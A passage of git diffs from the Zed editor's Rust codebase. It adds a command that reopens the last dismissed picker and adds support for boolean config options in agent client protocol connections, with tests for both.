@@ -44,6 +82,16 @@ impl<V: ModalView> ModalViewHandle for Entity<V> {
         self.clone().into()
     }
 
+    fn focus_handle(&self, cx: &App) -> FocusHandle {
+        self.read(cx).focus_handle(cx)
+    }
+
+    fn subscribe_dismiss(&self, window: &mut Window, cx: &mut Context<ModalLayer>) -> Subscription {
+        cx.subscribe_in(self, window, |this, _, _: &DismissEvent, window, cx| {
+            this.hide_modal(window, cx);
+        })
+    }
+
     fn fade_out_background(&self, cx: &mut App) -> bool {
         self.read(cx).fade_out_background()
     }
@@ -62,6 +110,10 @@ pub struct ActiveModal {
 
 pub struct ModalLayer {
     active_modal: Option<ActiveModal>,
+    // Kept alive (hidden) rather than dropped on dismissal so `ReopenLastPicker`
+    // can reveal it again with its exact prior state. Left intact across
+    // non-reopenable modals (e.g. the command palette), which may trigger the reopen.
+    stashed_modal: Option<Box<dyn ModalViewHandle>>,
     dismiss_on_focus_lost: bool,
 }
 
@@ -79,6 +131,7 @@ impl ModalLayer {
     pub fn new() -> Self {
         Self {
             active_modal: None,
+            stashed_modal: None,
             dismiss_on_focus_lost: false,
         }
     }
@@ -103,27 +156,25 @@ impl ModalLayer {
             }
         }
         let new_modal = cx.new(|cx| build_view(window, cx));
-        self.show_modal(new_modal, window, cx);
+        self.show_modal(Box::new(new_modal), window, cx);
         cx.emit(ModalOpenedEvent);
     }
 
     /// Shows a modal and sets up subscriptions for dismiss events and focus tracking.
     /// The modal is automatically focused after being shown.
-    fn show_modal<V>(&mut self, new_modal: Entity<V>, window: &mut Window, cx: &mut Context<Self>)
-    where
-        V: ModalView,
-    {
+    fn show_modal(
+        &mut self,
+        modal: Box<dyn ModalViewHandle>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
         let focus_handle = cx.focus_handle();
+        let modal_focus_handle = modal.focus_handle(cx);
+        let dismiss_subscription = modal.subscribe_dismiss(window, cx);
         self.active_modal = Some(ActiveModal {
-            modal: Box::new(new_modal.clone()),
+            modal,
             _subscriptions: [
-                cx.subscribe_in(
-                    &new_modal,
-                    window,
-                    |this, _, _: &DismissEvent, window, cx| {
-                        this.hide_modal(window, cx);
-                    },
-                ),
+                dismiss_subscription,
                 cx.on_focus_out(&focus_handle, window, |this, _event, window, cx| {
                     if this.dismiss_on_focus_lost {
                         this.hide_modal(window, cx);
@@ -134,11 +185,25 @@ impl ModalLayer {
             focus_handle,
         });
         cx.defer_in(window, move |_, window, cx| {
-            window.focus(&new_modal.focus_handle(cx), cx);
+            window.focus(&modal_focus_handle, cx);
         });
         cx.notify();
     }
 
+    /// Reveals the most recently stashed reopenable modal, if any. Returns whether
+    /// a modal was revealed.
+    pub fn reveal_stashed_modal(&mut self, window: &mut Window, cx: &mut Context<Self>) -> bool {
+        if self.active_modal.is_some() {
+            return false;
+        }
+        let Some(modal) = self.stashed_modal.take() else {
+            return false;
+        };
+        self.show_modal(modal, window, cx);
+        cx.emit(ModalOpenedEvent);
+        true
+    }
+
     /// Attempts to hide the currently active modal.
     ///
     /// The modal's `on_before_dismiss` method is called to determine if dismissal should proceed.
@@ -166,11 +231,15 @@ impl ModalLayer {
         }
 
         if let Some(active_modal) = self.active_modal.take() {
+            let reopenable = focus_handle_is_reopenable(&active_modal.modal.focus_handle(cx), cx);
             if let Some(previous_focus) = active_modal.previous_focus_handle
                 && active_modal.focus_handle.contains_focused(window, cx)
             {
                 previous_focus.focus(window, cx);
             }
+            if reopenable {
+                self.stashed_modal = Some(active_modal.modal);
+            }
             cx.notify();
         }
         self.dismiss_on_focus_lost = false;
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index f1c9984334a240..cef5ece31b0171 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -299,6 +299,8 @@ actions!(
         OpenComponentPreview,
         /// Reloads the active item.
         ReloadActiveItem,
+        /// Reopens the most recently dismissed picker in the current window.
+        ReopenLastPicker,
         /// Resets the active dock to its default size.
         ResetActiveDockSize,
         /// Resets all open docks to their default sizes.
@@ -7446,6 +7448,7 @@ impl Workspace {
             .on_action(cx.listener(Self::activate_pane_at_index))
             .on_action(cx.listener(Self::move_item_to_pane_at_index))
             .on_action(cx.listener(Self::move_focused_panel_to_next_position))
+            .on_action(cx.listener(Self::reopen_last_picker))
             .on_action(cx.listener(Self::toggle_edit_predictions_all_files))
             .on_action(cx.listener(Self::toggle_theme_mode))
             .on_action(cx.listener(|workspace, _: &Unfollow, window, cx| {
@@ -7915,6 +7918,22 @@ impl Workspace {
             .update(cx, |modal_layer, cx| modal_layer.hide_modal(window, cx))
     }
 
+    fn reopen_last_picker(
+        &mut self,
+        _: &ReopenLastPicker,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        // When triggered from within another modal (e.g. the command palette), that
+        // modal's dismissal is asynchronous, so defer the reveal until it has closed;
+        // otherwise a modal would still be active and the reveal would be a no-op.
+        cx.defer_in(window, |workspace, window, cx| {
+            workspace.modal_layer.update(cx, |modal_layer, cx| {
+                modal_layer.reveal_stashed_modal(window, cx);
+            });
+        });
+    }
+
     pub fn toggle_status_toast<V: ToastView>(&mut self, entity: Entity<V>, cx: &mut App) {
         self.toast_layer
             .update(cx, |toast_layer, cx| toast_layer.toggle_toast(cx, entity))
@@ -14091,6 +14110,155 @@ mod tests {
         }
     }
 
+    // Registers its focus handle as a reopenable picker on construction, like a real
+    // `Picker` does, so the modal layer recognizes it by focus identity.
+    struct ReopenableTestModal(FocusHandle);
+
+    impl ReopenableTestModal {
+        fn new(_: &mut Window, cx: &mut Context<Self>) -> Self {
+            let focus_handle = cx.focus_handle();
+            register_reopenable_picker(&focus_handle, cx);
+            Self(focus_handle)
+        }
+    }
+
+    impl EventEmitter<DismissEvent> for ReopenableTestModal {}
+
+    impl Focusable for ReopenableTestModal {
+        fn focus_handle(&self, _cx: &App) -> FocusHandle {
+            self.0.clone()
+        }
+    }
+
+    impl ModalView for ReopenableTestModal {}
+
+    impl Render for ReopenableTestModal {
+        fn render(
+            &mut self,
+            _window: &mut Window,
+            _cx: &mut Context<ReopenableTestModal>,
+        ) -> impl IntoElement {
+            div().track_focus(&self.0)
+        }
+    }
+
+    #[gpui::test]
+    async fn test_reopen_last_picker(cx: &mut gpui::TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let (workspace, cx) =
+            cx.add_window_view(|window, cx| Workspace::test_new(project, window, cx));
+
+        // A non-reopenable modal is dropped on dismissal and cannot be revealed.
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.toggle_modal(window, cx, TestModal::new);
+        });
+        cx.executor().run_until_parked();
+        assert!(workspace.read_with(cx, |workspace, cx| {
+            workspace.active_modal::<TestModal>(cx).is_some()
+        }));
+        workspace.update_in(cx, |workspace, window, cx| {
+            let revealed = workspace.modal_layer.update(cx, |modal_layer, cx| {
+                modal_layer.hide_modal(window, cx);
+                modal_layer.reveal_stashed_modal(window, cx)
+            });
+            assert!(!revealed, "a non-reopenable modal should not be revealable");
+        });
+
+        // A reopenable modal is stashed on dismissal and revealed as the *same*
+        // entity, so its prior state is preserved exactly.
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.toggle_modal(window, cx, ReopenableTestModal::new);
+        });
+        cx.executor().run_until_parked();
+        let original_id = workspace.read_with(cx, |workspace, cx| {
+            workspace
+                .active_modal::<ReopenableTestModal>(cx)
+                .unwrap()
+                .entity_id()
+        });
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace
+                .modal_layer
+                .update(cx, |modal_layer, cx| modal_layer.hide_modal(window, cx));
+        });
+        cx.executor().run_until_parked();
+        assert!(workspace.read_with(cx, |workspace, cx| {
+            workspace.active_modal::<ReopenableTestModal>(cx).is_none()
+        }));
+        workspace.update_in(cx, |workspace, window, cx| {
+            let revealed = workspace.modal_layer.update(cx, |modal_layer, cx| {
+                modal_layer.reveal_stashed_modal(window, cx)
+            });
+            assert!(revealed, "a reopenable modal should be revealable");
+        });
+        cx.executor().run_until_parked();
+        let revealed_id = workspace.read_with(cx, |workspace, cx| {
+            workspace
+                .active_modal::<ReopenableTestModal>(cx)
+                .unwrap()
+                .entity_id()
+        });
+        assert_eq!(
+            original_id, revealed_id,
+            "reveal should restore the same modal entity rather than building a new one"
+        );
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            let revealed = workspace.modal_layer.update(cx, |modal_layer, cx| {
+                modal_layer.reveal_stashed_modal(window, cx)
+            });
+            assert!(!revealed, "reveal should be a no-op while a modal is open");
+        });
+
+        // A non-reopenable modal must not discard the stash, which is what lets the
+        // command palette be used to trigger the reopen.
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace
+                .modal_layer
+                .update(cx, |modal_layer, cx| modal_layer.hide_modal(window, cx));
+            workspace.toggle_modal(window, cx, TestModal::new);
+        });
+        cx.executor().run_until_parked();
+        workspace.update_in(cx, |workspace, window, cx| {
+            let revealed = workspace.modal_layer.update(cx, |modal_layer, cx| {
+                modal_layer.hide_modal(window, cx);
+                modal_layer.reveal_stashed_modal(window, cx)
+            });
+            assert!(
+                revealed,
+                "a non-reopenable modal must not discard the stash"
+            );
+        });
+        cx.executor().run_until_parked();
+
+        // Reopen triggered from within a modal that dismisses asynchronously and
+        // dispatches the action in the same cycle, as the command palette does.
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace
+                .modal_layer
+                .update(cx, |modal_layer, cx| modal_layer.hide_modal(window, cx));
+            workspace.toggle_modal(window, cx, TestModal::new);
+        });
+        cx.executor().run_until_parked();
+        workspace.update_in(cx, |workspace, window, cx| {
+            // Mirror the command palette's confirm: emit DismissEvent on itself and
+            // dispatch the reopen action within the same update.
+            let palette = workspace.active_modal::<TestModal>(cx).unwrap();
+            palette.update(cx, |_, cx| cx.emit(DismissEvent));
+            workspace.reopen_last_picker(&ReopenLastPicker, window, cx);
+        });
+        cx.executor().run_until_parked();
+        assert!(
+            workspace.read_with(cx, |workspace, cx| workspace
+                .active_modal::<ReopenableTestModal>(cx)
+                .is_some()),
+            "reopen triggered from within a dismissing modal should reveal the stash"
+        );
+    }
+
     #[gpui::test]
     async fn test_panels(cx: &mut gpui::TestAppContext) {
         init_test(cx);

From 45015f89d73679df431c5c761b9711b56852fd23 Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Tue, 30 Jun 2026 12:12:25 +0200
Subject: [PATCH 175/772] acp: Support boolean ACP config options (#59698)

Still behind a feature flag until the RFD is completed.

Release Notes:

- N/A

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/acp_thread/src/connection.rs           |   2 +-
 crates/agent_servers/src/acp.rs               | 370 ++++++++--
 crates/agent_servers/src/agent_servers.rs     |   6 +-
 crates/agent_servers/src/custom.rs            |  11 +-
 crates/agent_ui/src/config_options.rs         | 677 ++++++++++++++----
 crates/agent_ui/src/conversation_view.rs      |   1 -
 crates/project/src/agent_server_store.rs      |  14 +-
 crates/settings_content/src/agent.rs          |  98 ++-
 .../src/pages/external_agents_page.rs         |  16 +-
 9 files changed, 974 insertions(+), 221 deletions(-)

diff --git a/crates/acp_thread/src/connection.rs b/crates/acp_thread/src/connection.rs
index e5bb82e9afd46d..71c46d3e62272f 100644
--- a/crates/acp_thread/src/connection.rs
+++ b/crates/acp_thread/src/connection.rs
@@ -310,7 +310,7 @@ pub trait AgentSessionConfigOptions {
     fn set_config_option(
         &self,
         config_id: acp::SessionConfigId,
-        value: acp::SessionConfigValueId,
+        value: acp::SessionConfigOptionValue,
         cx: &mut App,
     ) -> Task<Result<Vec<acp::SessionConfigOption>>>;
 
diff --git a/crates/agent_servers/src/acp.rs b/crates/agent_servers/src/acp.rs
index ddec4877c7d05a..708d1c716874f4 100644
--- a/crates/agent_servers/src/acp.rs
+++ b/crates/agent_servers/src/acp.rs
@@ -22,7 +22,7 @@ use project::agent_server_store::{
 use project::{AgentId, Project};
 use remote::remote_client::Interactive;
 use serde::Deserialize;
-use settings::SettingsStore;
+use settings::{AgentConfigOptionValue, SettingsStore};
 use std::path::PathBuf;
 use std::process::{ExitStatus, Stdio};
 use std::rc::Rc;
@@ -408,11 +408,14 @@ pub struct AcpConnection {
 #[derive(Clone, Default)]
 struct AcpConnectionDefaults {
     mode: Rc<RefCell<Option<acp::SessionModeId>>>,
-    config_options: Rc<RefCell<HashMap<String, String>>>,
+    config_options: Rc<RefCell<HashMap<String, AgentConfigOptionValue>>>,
 }
 
 impl AcpConnectionDefaults {
-    fn new(mode: Option<acp::SessionModeId>, config_options: HashMap<String, String>) -> Self {
+    fn new(
+        mode: Option<acp::SessionModeId>,
+        config_options: HashMap<String, AgentConfigOptionValue>,
+    ) -> Self {
         Self {
             mode: Rc::new(RefCell::new(mode)),
             config_options: Rc::new(RefCell::new(config_options)),
@@ -423,11 +426,15 @@ impl AcpConnectionDefaults {
         self.mode.borrow().clone()
     }
 
-    fn config_option(&self, config_id: &str) -> Option<String> {
+    fn config_option(&self, config_id: &str) -> Option<AgentConfigOptionValue> {
         self.config_options.borrow().get(config_id).cloned()
     }
 
-    fn set(&self, mode: Option<acp::SessionModeId>, config_options: HashMap<String, String>) {
+    fn set(
+        &self,
+        mode: Option<acp::SessionModeId>,
+        config_options: HashMap<String, AgentConfigOptionValue>,
+    ) {
         *self.mode.borrow_mut() = mode;
         *self.config_options.borrow_mut() = config_options;
     }
@@ -627,7 +634,7 @@ pub async fn connect(
     command: AgentServerCommand,
     agent_server_store: WeakEntity<AgentServerStore>,
     default_mode: Option<acp::SessionModeId>,
-    default_config_options: HashMap<String, String>,
+    default_config_options: HashMap<String, AgentConfigOptionValue>,
     cx: &mut AsyncApp,
 ) -> Result<Rc<dyn AgentConnection>> {
     let conn = AcpConnection::stdio(
@@ -736,7 +743,10 @@ fn connect_client_future(
         )
 }
 
-fn client_capabilities_for_agent(agent_id: &AgentId) -> acp::ClientCapabilities {
+fn client_capabilities_for_agent(
+    agent_id: &AgentId,
+    supports_boolean_config_options: bool,
+) -> acp::ClientCapabilities {
     let mut meta = acp::Meta::from_iter([
         ("terminal_output".into(), true.into()),
         ("terminal-auth".into(), true.into()),
@@ -746,13 +756,24 @@ fn client_capabilities_for_agent(agent_id: &AgentId) -> acp::ClientCapabilities
         meta.insert(PARAMETERIZED_MODEL_PICKER_META_KEY.into(), true.into());
     }
 
-    acp::ClientCapabilities::new()
+    let mut capabilities = acp::ClientCapabilities::new()
         .fs(acp::FileSystemCapabilities::new()
             .read_text_file(true)
             .write_text_file(true))
         .terminal(true)
         .auth(acp::AuthCapabilities::new().terminal(true))
-        .meta(meta)
+        .meta(meta);
+
+    if supports_boolean_config_options {
+        capabilities = capabilities.session(
+            acp::ClientSessionCapabilities::new().config_options(
+                acp::SessionConfigOptionsCapabilities::new()
+                    .boolean(acp::BooleanConfigOptionCapabilities::new()),
+            ),
+        );
+    }
+
+    capabilities
 }
 
 impl AcpConnection {
@@ -771,7 +792,7 @@ impl AcpConnection {
         command: AgentServerCommand,
         agent_server_store: WeakEntity<AgentServerStore>,
         default_mode: Option<acp::SessionModeId>,
-        default_config_options: HashMap<String, String>,
+        default_config_options: HashMap<String, AgentConfigOptionValue>,
         cx: &mut AsyncApp,
     ) -> Result<Self> {
         let root_dir = project.read_with(cx, |project, cx| {
@@ -942,7 +963,10 @@ impl AcpConnection {
         let initialize_response = connection
             .send_request(
                 acp::InitializeRequest::new(ProtocolVersion::V1)
-                    .client_capabilities(client_capabilities_for_agent(&agent_id))
+                    .client_capabilities(client_capabilities_for_agent(
+                        &agent_id,
+                        cx.update(|cx| cx.has_flag::<AcpBetaFeatureFlag>()),
+                    ))
                     .client_info(
                         acp::Implementation::new("zed", version)
                             .title(release_channel.map(ToOwned::to_owned)),
@@ -1255,6 +1279,7 @@ impl AcpConnection {
         cx: &mut AsyncApp,
     ) {
         let id = self.id.clone();
+        let apply_boolean_defaults = cx.update(|cx| cx.has_flag::<AcpBetaFeatureFlag>());
         let defaults_to_apply: Vec<_> = {
             let config_opts_ref = config_options.borrow();
             config_opts_ref
@@ -1262,31 +1287,54 @@ impl AcpConnection {
                 .filter_map(|config_option| {
                     let default_value = self.defaults.config_option(config_option.id.0.as_ref())?;
 
-                    let is_valid = match &config_option.kind {
-                        acp::SessionConfigKind::Select(select) => match &select.options {
-                            acp::SessionConfigSelectOptions::Ungrouped(options) => options
-                                .iter()
-                                .any(|opt| &*opt.value.0 == default_value.as_str()),
-                            acp::SessionConfigSelectOptions::Grouped(groups) => {
-                                groups.iter().any(|g| {
-                                    g.options
-                                        .iter()
-                                        .any(|opt| &*opt.value.0 == default_value.as_str())
-                                })
+                    let value_to_apply = match &config_option.kind {
+                        acp::SessionConfigKind::Select(select) => {
+                            let value_id = default_value.as_value_id()?;
+                            match &select.options {
+                                acp::SessionConfigSelectOptions::Ungrouped(options) => options
+                                    .iter()
+                                    .any(|opt| &*opt.value.0 == value_id)
+                                    .then(|| {
+                                        acp::SessionConfigOptionValue::value_id(
+                                            value_id.to_string(),
+                                        )
+                                    }),
+                                acp::SessionConfigSelectOptions::Grouped(groups) => groups
+                                    .iter()
+                                    .any(|group| {
+                                        group.options.iter().any(|opt| &*opt.value.0 == value_id)
+                                    })
+                                    .then(|| {
+                                        acp::SessionConfigOptionValue::value_id(
+                                            value_id.to_string(),
+                                        )
+                                    }),
+                                _ => None,
                             }
-                            _ => false,
-                        },
-                        _ => false,
+                        }
+                        acp::SessionConfigKind::Boolean(_) if !apply_boolean_defaults => {
+                            return None;
+                        }
+                        acp::SessionConfigKind::Boolean(_) => default_value
+                            .as_bool()
+                            .map(acp::SessionConfigOptionValue::boolean),
+                        _ => None,
                     };
 
-                    if is_valid {
+                    if let Some(value_to_apply) = value_to_apply {
                         let initial_value = match &config_option.kind {
                             acp::SessionConfigKind::Select(select) => {
-                                Some(select.current_value.clone())
+                                acp::SessionConfigOptionValue::value_id(
+                                    select.current_value.clone(),
+                                )
                             }
-                            _ => None,
+                            acp::SessionConfigKind::Boolean(boolean) => {
+                                acp::SessionConfigOptionValue::boolean(boolean.current_value)
+                            }
+                            _ => return None,
                         };
-                        Some((config_option.id.clone(), default_value, initial_value))
+
+                        Some((config_option.id.clone(), value_to_apply, initial_value))
                     } else {
                         log::warn!(
                             "`{}` is not a valid value for config option `{}` in {}",
@@ -1302,7 +1350,7 @@ impl AcpConnection {
 
         for (config_id, default_value, initial_value) in defaults_to_apply {
             cx.spawn({
-                let default_value_id = acp::SessionConfigValueId::new(default_value.clone());
+                let default_value_for_request = default_value.clone();
                 let session_id = session_id.clone();
                 let config_id_clone = config_id.clone();
                 let config_opts = config_options.clone();
@@ -1312,19 +1360,29 @@ impl AcpConnection {
                         .send_request(acp::SetSessionConfigOptionRequest::new(
                             session_id,
                             config_id_clone.clone(),
-                            default_value_id,
+                            default_value_for_request,
                         ))
                         .block_task()
                         .await
                         .log_err();
 
                     if result.is_none() {
-                        if let Some(initial) = initial_value {
-                            let mut opts = config_opts.borrow_mut();
-                            if let Some(opt) = opts.iter_mut().find(|o| o.id == config_id_clone) {
-                                if let acp::SessionConfigKind::Select(select) = &mut opt.kind {
-                                    select.current_value = initial;
+                        let mut opts = config_opts.borrow_mut();
+                        if let Some(opt) = opts.iter_mut().find(|o| o.id == config_id_clone) {
+                            match (&mut opt.kind, &initial_value) {
+                                (
+                                    acp::SessionConfigKind::Select(select),
+                                    acp::SessionConfigOptionValue::ValueId { value },
+                                ) => {
+                                    select.current_value = value.clone();
                                 }
+                                (
+                                    acp::SessionConfigKind::Boolean(boolean),
+                                    acp::SessionConfigOptionValue::Boolean { value },
+                                ) => {
+                                    boolean.current_value = *value;
+                                }
+                                _ => {}
                             }
                         }
                     }
@@ -1334,8 +1392,20 @@ impl AcpConnection {
 
             let mut opts = config_options.borrow_mut();
             if let Some(opt) = opts.iter_mut().find(|o| o.id == config_id) {
-                if let acp::SessionConfigKind::Select(select) = &mut opt.kind {
-                    select.current_value = acp::SessionConfigValueId::new(default_value);
+                match (&mut opt.kind, &default_value) {
+                    (
+                        acp::SessionConfigKind::Select(select),
+                        acp::SessionConfigOptionValue::ValueId { value },
+                    ) => {
+                        select.current_value = value.clone();
+                    }
+                    (
+                        acp::SessionConfigKind::Boolean(boolean),
+                        acp::SessionConfigOptionValue::Boolean { value },
+                    ) => {
+                        boolean.current_value = *value;
+                    }
+                    _ => {}
                 }
             }
         }
@@ -2469,11 +2539,12 @@ mod tests {
     use std::sync::atomic::{AtomicUsize, Ordering};
 
     use super::*;
+    use feature_flags::FeatureFlag as _;
     use settings::Settings as _;
 
     #[test]
     fn cursor_client_capabilities_include_parameterized_model_picker_meta() {
-        let capabilities = client_capabilities_for_agent(&AgentId::new(CURSOR_ID));
+        let capabilities = client_capabilities_for_agent(&AgentId::new(CURSOR_ID), false);
         let meta = capabilities
             .meta
             .expect("expected client capabilities meta");
@@ -2488,7 +2559,7 @@ mod tests {
 
     #[test]
     fn non_cursor_client_capabilities_do_not_include_parameterized_model_picker_meta() {
-        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"));
+        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"), false);
         let meta = capabilities
             .meta
             .expect("expected client capabilities meta");
@@ -2496,6 +2567,26 @@ mod tests {
         assert!(!meta.contains_key(PARAMETERIZED_MODEL_PICKER_META_KEY));
     }
 
+    #[test]
+    fn client_capabilities_include_boolean_config_options_when_supported() {
+        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"), true);
+
+        assert!(
+            capabilities
+                .session
+                .and_then(|session| session.config_options)
+                .and_then(|config_options| config_options.boolean)
+                .is_some()
+        );
+    }
+
+    #[test]
+    fn client_capabilities_omit_boolean_config_options_when_unsupported() {
+        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"), false);
+
+        assert!(capabilities.session.is_none());
+    }
+
     #[test]
     fn terminal_auth_task_builds_spawn_from_prebuilt_command() {
         let command = AgentServerCommand {
@@ -2943,7 +3034,7 @@ mod tests {
                         default_mode: Some("manual".to_string()),
                         default_config_options: HashMap::from_iter([(
                             "mode".to_string(),
-                            "manual".to_string(),
+                            AgentConfigOptionValue::from("manual"),
                         )]),
                         favorite_config_option_values: HashMap::default(),
                     }
@@ -2959,8 +3050,13 @@ mod tests {
             Some(acp::SessionModeId::new("manual"))
         );
         assert_eq!(
-            harness.connection.defaults.config_option("mode").as_deref(),
-            Some("manual")
+            harness
+                .connection
+                .defaults
+                .config_option("mode")
+                .as_ref()
+                .and_then(AgentConfigOptionValue::as_value_id),
+            Some("manual"),
         );
 
         cx.update(|cx| {
@@ -2975,6 +3071,192 @@ mod tests {
         assert_eq!(harness.connection.defaults.config_option("mode"), None);
     }
 
+    #[gpui::test]
+    async fn default_config_options_skip_boolean_defaults_when_acp_beta_is_disabled(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        cx.update(|cx| init_settings_with_acp_beta_override(false, cx));
+
+        let (connection, set_config_requests) = connect_config_defaults_test_agent(cx).await;
+        connection.defaults.set(
+            None,
+            HashMap::from_iter([
+                (
+                    "web_search".to_string(),
+                    AgentConfigOptionValue::Boolean(true),
+                ),
+                ("mode".to_string(), AgentConfigOptionValue::from("manual")),
+            ]),
+        );
+        let config_options = Rc::new(RefCell::new(vec![
+            acp::SessionConfigOption::boolean("web_search", "Web Search", false),
+            acp::SessionConfigOption::select(
+                "mode",
+                "Mode",
+                "auto",
+                vec![
+                    acp::SessionConfigSelectOption::new("auto", "Auto"),
+                    acp::SessionConfigSelectOption::new("manual", "Manual"),
+                ],
+            ),
+        ]));
+
+        let mut async_cx = cx.to_async();
+        connection.apply_default_config_options(
+            &acp::SessionId::new("session-config-defaults"),
+            &config_options,
+            &mut async_cx,
+        );
+        drop(async_cx);
+        cx.run_until_parked();
+
+        let requests = set_config_requests
+            .lock()
+            .expect("set config requests mutex poisoned");
+        assert_eq!(requests.len(), 1);
+        assert_eq!(requests[0].config_id, acp::SessionConfigId::new("mode"));
+        assert_eq!(
+            requests[0].value,
+            acp::SessionConfigOptionValue::value_id("manual")
+        );
+
+        let options = config_options.borrow();
+        assert!(
+            matches!(&options[0].kind, acp::SessionConfigKind::Boolean(boolean) if !boolean.current_value)
+        );
+        assert!(
+            matches!(&options[1].kind, acp::SessionConfigKind::Select(select) if select.current_value == acp::SessionConfigValueId::new("manual"))
+        );
+    }
+
+    #[gpui::test]
+    async fn default_config_options_apply_boolean_defaults_when_acp_beta_is_enabled(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        cx.update(|cx| init_settings_with_acp_beta_override(true, cx));
+
+        let (connection, set_config_requests) = connect_config_defaults_test_agent(cx).await;
+        connection.defaults.set(
+            None,
+            HashMap::from_iter([(
+                "web_search".to_string(),
+                AgentConfigOptionValue::Boolean(true),
+            )]),
+        );
+        let config_options = Rc::new(RefCell::new(vec![acp::SessionConfigOption::boolean(
+            "web_search",
+            "Web Search",
+            false,
+        )]));
+
+        let mut async_cx = cx.to_async();
+        connection.apply_default_config_options(
+            &acp::SessionId::new("session-config-defaults"),
+            &config_options,
+            &mut async_cx,
+        );
+        drop(async_cx);
+        cx.run_until_parked();
+
+        let requests = set_config_requests
+            .lock()
+            .expect("set config requests mutex poisoned");
+        assert_eq!(requests.len(), 1);
+        assert_eq!(
+            requests[0].config_id,
+            acp::SessionConfigId::new("web_search")
+        );
+        assert_eq!(
+            requests[0].value,
+            acp::SessionConfigOptionValue::boolean(true)
+        );
+
+        let options = config_options.borrow();
+        assert!(
+            matches!(&options[0].kind, acp::SessionConfigKind::Boolean(boolean) if boolean.current_value)
+        );
+    }
+
+    fn init_settings_with_acp_beta_override(enabled: bool, cx: &mut App) {
+        let mut store = settings::SettingsStore::test(cx);
+        store.register_setting::<feature_flags::FeatureFlagsSettings>();
+        store.update_user_settings(cx, |content| {
+            content.feature_flags.get_or_insert_default().insert(
+                AcpBetaFeatureFlag::NAME.to_string(),
+                if enabled { "on" } else { "off" }.to_string(),
+            );
+        });
+        cx.set_global(store);
+        cx.update_flags(false, Vec::new());
+    }
+
+    async fn connect_config_defaults_test_agent(
+        cx: &mut gpui::TestAppContext,
+    ) -> (
+        AcpConnection,
+        Arc<Mutex<Vec<acp::SetSessionConfigOptionRequest>>>,
+    ) {
+        let set_config_requests = Arc::new(Mutex::new(Vec::new()));
+        let (client_transport, agent_transport) = agent_client_protocol::Channel::duplex();
+
+        cx.background_spawn(
+            Agent
+                .builder()
+                .name("config-defaults-test-agent")
+                .on_receive_request(
+                    {
+                        let set_config_requests = set_config_requests.clone();
+                        async move |req: acp::SetSessionConfigOptionRequest, responder, _cx| {
+                            set_config_requests
+                                .lock()
+                                .expect("set config requests mutex poisoned")
+                                .push(req);
+
+                            responder.respond(acp::SetSessionConfigOptionResponse::new(Vec::new()))
+                        }
+                    },
+                    agent_client_protocol::on_receive_request!(),
+                )
+                .connect_to(agent_transport),
+        )
+        .detach();
+
+        let (connection_tx, connection_rx) = futures::channel::oneshot::channel();
+        let client_io_task = cx.background_spawn(async move {
+            Client
+                .builder()
+                .name("config-defaults-test-client")
+                .connect_with(
+                    client_transport,
+                    move |connection: ConnectionTo<Agent>| async move {
+                        connection_tx.send(connection).ok();
+                        futures::future::pending::<Result<(), acp::Error>>().await
+                    },
+                )
+                .await
+                .ok();
+        });
+
+        let client_conn = connection_rx
+            .await
+            .expect("failed to receive ACP connection");
+        let sessions = Rc::new(RefCell::new(HashMap::default()));
+
+        let connection = cx.update(|cx| {
+            AcpConnection::new_for_test(
+                client_conn,
+                sessions,
+                acp::AgentCapabilities::default(),
+                WeakEntity::new_invalid(),
+                client_io_task,
+                Task::ready(()),
+                cx,
+            )
+        });
+
+        (connection, set_config_requests)
+    }
+
     #[gpui::test]
     async fn session_list_delete_sends_session_delete_when_supported(
         cx: &mut gpui::TestAppContext,
@@ -3766,7 +4048,7 @@ impl acp_thread::AgentSessionConfigOptions for AcpSessionConfigOptions {
     fn set_config_option(
         &self,
         config_id: acp::SessionConfigId,
-        value: acp::SessionConfigValueId,
+        value: acp::SessionConfigOptionValue,
         cx: &mut App,
     ) -> Task<Result<Vec<acp::SessionConfigOption>>> {
         let connection = self.connection.clone();
diff --git a/crates/agent_servers/src/agent_servers.rs b/crates/agent_servers/src/agent_servers.rs
index 9d65a2a8e295cd..5983ee88d41236 100644
--- a/crates/agent_servers/src/agent_servers.rs
+++ b/crates/agent_servers/src/agent_servers.rs
@@ -15,7 +15,7 @@ use acp_thread::AgentConnection;
 use agent_client_protocol::schema::v1 as acp_schema;
 use anyhow::Result;
 use gpui::{App, AppContext, Entity, Task};
-use settings::SettingsStore;
+use settings::{AgentConfigOptionValue, SettingsStore};
 use std::{any::Any, rc::Rc, sync::Arc};
 
 #[cfg(any(test, feature = "test-support"))]
@@ -71,14 +71,14 @@ pub trait AgentServer: Send {
     ) {
     }
 
-    fn default_config_option(&self, _config_id: &str, _cx: &App) -> Option<String> {
+    fn default_config_option(&self, _config_id: &str, _cx: &App) -> Option<AgentConfigOptionValue> {
         None
     }
 
     fn set_default_config_option(
         &self,
         _config_id: &str,
-        _value_id: Option<&str>,
+        _value: Option<AgentConfigOptionValue>,
         _fs: Arc<dyn Fs>,
         _cx: &mut App,
     ) {
diff --git a/crates/agent_servers/src/custom.rs b/crates/agent_servers/src/custom.rs
index 6039d796764bcf..c79ebdc45c0bab 100644
--- a/crates/agent_servers/src/custom.rs
+++ b/crates/agent_servers/src/custom.rs
@@ -10,7 +10,7 @@ use project::{
     Project,
     agent_server_store::{AgentId, AllAgentServersSettings},
 };
-use settings::{SettingsStore, update_settings_file};
+use settings::{AgentConfigOptionValue, SettingsStore, update_settings_file};
